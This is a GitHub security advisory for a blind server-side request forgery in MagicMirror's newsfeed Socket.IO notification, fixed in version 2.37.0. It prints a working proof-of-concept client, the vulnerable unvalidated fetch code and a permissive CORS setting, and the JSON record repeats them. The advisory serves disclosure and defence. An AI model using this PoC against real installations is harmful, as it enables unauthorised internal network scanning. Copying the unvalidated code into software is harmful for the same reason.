GHSA-998G-7V5W-CR7G

Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26
VLAI
Summary
MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery
Details

Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)

Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/node_helper.js of MagicMirror², socket.io namespace /newsfeed.


Identification

Field Value
PoC file exploit-ssrf-newsfeed.js
Endpoint socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL
Precondition reach the mirror's HTTP port (no authentication required)

Description

The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.

This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.

The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.


Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.


Exploit (exploit-ssrf-newsfeed.js)

const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
    if (event === "ARTICLE_URL_STATUS") {
        console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
        console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
        process.exit(0);
    }
});
socket.on("connect", () => {
    console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
    socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);

Vulnerable target code (pattern)

async checkArticleUrl(url) {
  const res = await fetch(url, { method: "HEAD" });
  const canFrame = !res.headers.get("x-frame-options")
                && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
  this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}

Impact

  • Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
  • Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the mm-internal log referenced by the PoC).
  • Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.

References

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-306: Missing Authentication for Critical Function
  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains
  • OWASP: SSRF Prevention Cheat Sheet

This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "magicmirror"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T17:26:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability \u2014 Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror\u00b2 newsfeed)\n\n\u003e Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n\u003e Target: `newsfeed/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF \u2014 the attacker doesn\u0027t see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service\u0027s log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -\u003e ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() =\u003e { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n  const res = await fetch(url, { method: \"HEAD\" });\n  const canFrame = !res.headers.get(\"x-frame-options\")\n                \u0026\u0026 !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n  this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it\u0027s HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n\u003e This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.",
  "id": "GHSA-998g-7v5w-cr7g",
  "modified": "2026-08-18T17:26:46Z",
  "published": "2026-08-18T17:26:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…